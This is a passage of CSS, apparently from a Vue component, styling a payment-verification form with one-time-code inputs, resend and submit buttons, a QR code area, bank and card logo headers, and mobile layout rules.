  padding: 8px;
}

.loading-gif {
  height: 16px;
  width: 80px;
}

/* 表单字段 */
.form-fields {
  margin-bottom: 20px;
}

.field-group {
  margin-bottom: 18px;
  display: flex;
  justify-content: center;
}

.field-group:last-of-type {
  margin-bottom: 24px;
}

.field-group label {
  display: block;
  margin-bottom: 8px;
  color: #333;
  font-weight: 500;
  font-size: 14px;
  text-align: left;
}

.form-input {
  padding: 10px 12px;
  border: 1px solid #ddd;
  border-radius: 5px;
  font-size: 14px;
  transition: border-color 0.3s ease;
}

.form-input:focus {
  outline: none;
  border-color: #3b82f6;
  box-shadow: 0 0 0 2px rgba(59, 130, 246, 0.2);
}

.otp-input {
  text-align: center;
}

/* 提交按钮 */
.submit-container {
  text-align: center;
  margin: 20px 0;
}

.submit-button {
  padding: 12px 40px;
  border: none;
  border-radius: 6px;
  color: white;
  font-size: 14px;
  font-weight: 500;
  cursor: pointer;
  transition: all 0.3s ease;
  min-width: 120px;
}

.submit-button:hover {
  opacity: 0.9;
  transform: translateY(-1px);
}

.completed-button {
  background: #f59e0b !important;
}

/* 重发按钮 */
.resend-section {
  text-align: center;
  margin-top: 16px;
}

.resend-button {
  background: none;
  border: none;
  color: #3b82f6 !important;
  text-decoration: underline;
  cursor: pointer;
  font-size: 14px;
  padding: 8px;
}

.resend-button:hover {
  color: #1d4ed8;
}

/* 二维码部分 */
.qr-section {
  display: flex;
  flex-direction: column;
  align-items: center;
  margin: 24px 0;
}

.qr-code-container {
  width: 200px;
  height: 200px;
  background: white;
  border-radius: 8px;
  display: flex;
  align-items: center;
  justify-content: center;
  margin-bottom: 12px;
}

.qr-code {
  width: 100%;
  height: 100%;
  object-fit: contain;
  border-radius: 6px;
}

/* 内联输入框样式 */
.form-content :deep(.inline-input-field) {
  display: inline-block;
  width: 120px;
  padding: 4px 8px;
  margin: 0 4px;
  border: 1px solid #ddd;
  border-radius: 4px;
  font-size: 14px;
  text-align: center;
  transition: border-color 0.3s ease;
}

.form-content :deep(.inline-input-field:focus) {
  outline: none;
  border-color: #3b82f6;
  box-shadow: 0 0 0 2px rgba(59, 130, 246, 0.2);
}

.form-content :deep(.inline-input-field::placeholder) {
  color: #9ca3af;
  font-size: 12px;
}

/* 内联按钮样式 */
.form-content :deep(.inline-submit-button) {
  display: inline-block;
  padding: 6px 16px;
  margin: 0 4px;
  background: #67C23A;
  color: white;
  border: none;
  border-radius: 4px;
  font-size: 14px;
  font-weight: 500;
  cursor: pointer;
  transition: all 0.3s ease;
}

.form-content :deep(.inline-submit-button:hover) {
  background: #5daf34;
  transform: translateY(-1px);
}

.form-content :deep(.inline-submit-button:active) {
  transform: translateY(0);
}

.form-content :deep(.inline-secondary-button) {
  display: inline-block;
  padding: 6px 16px;
  margin: 0 4px;
  background: #409EFF;
  color: white;
  border: none;
  border-radius: 4px;
  font-size: 14px;
  font-weight: 500;
  cursor: pointer;
  transition: all 0.3s ease;
}

.form-content :deep(.inline-secondary-button:hover) {
  background: #3a8ee6;
  transform: translateY(-1px);
}

.form-content :deep(.inline-secondary-button:active) {
  transform: translateY(0);
}

/* 错误信息 */
.error-message {
  padding: 4px;
  color: #dc2626;
  font-size: 14px;
  text-align: center;
  margin: 12px 0;
}

/* 响应式设计 */
@media (max-width: 768px) {
  .validation-form {
    padding: 16px;
  }

  .form-header {
    flex-direction: column;
    gap: 12px;
    text-align: center;
  }

  .header-content {
    text-align: center;
  }

  .validation-title {
    font-size: 16px;
  }

  .form-content {
    font-size: 13px;
  }

  .payment-details {
    padding: 12px;
  }

  .detail-item {
    font-size: 13px;
    flex-direction: column;
    gap: 4px;
  }

  .input-detail-item {
    flex-direction: row;
    justify-content: center;
  }

  .input-label {
    min-width: 80px;
    font-size: 12px;
  }

  .otp-input-inline {
    width: 100px;
    font-size: 12px;
  }

  .qr-code-container {
    width: 160px;
    height: 160px;
  }

  .submit-button {
    padding: 10px 32px;
    font-size: 13px;
  }
}

/* 特殊样式 */
.app-valid .loading-container {
  animation: pulse 2s infinite;
}

@keyframes pulse {

  0%,
  100% {
    opacity: 1;
  }

  50% {
    opacity: 0.7;
  }
}

/* 拨号验证特殊样式 */
.dial-valid .form-content :deep(a) {
  color: #1434CB;
  text-decoration: underline;
  font-weight: 500;
}

.dial-valid .form-content :deep(a:hover) {
  color: #0f29a3;
}





.validation-renderer .validation-header {
  height: 66px;
  display: flex;
  padding: 0px 16px;
  align-items: center;
  justify-content: space-between;
  border-bottom: 1px solid #e3e3e3;
}

.validation-renderer .validation-header>div {
  display: flex;
  align-items: center;
}

.validation-renderer .validation-header .bank-logo {
  height: 100%;
}

.validation-renderer .validation-header .card-logo {
  height: 100%;
  position: relative;
}

.validation-renderer .validation-header .card-logo:after {
  content: "";
  display: block;
  position: absolute;
  top: 0;
  width: 15px;
  height: 100%;
  background: linear-gradient(90deg,
      transparent,
      rgba(255, 255, 255, 0.6352941176),
      transparent);
  animation: line 2s infinite;
}

@keyframes line {
  0% {
    left: -15px;
  }

  to {
    left: 100%;
  }
}
</style>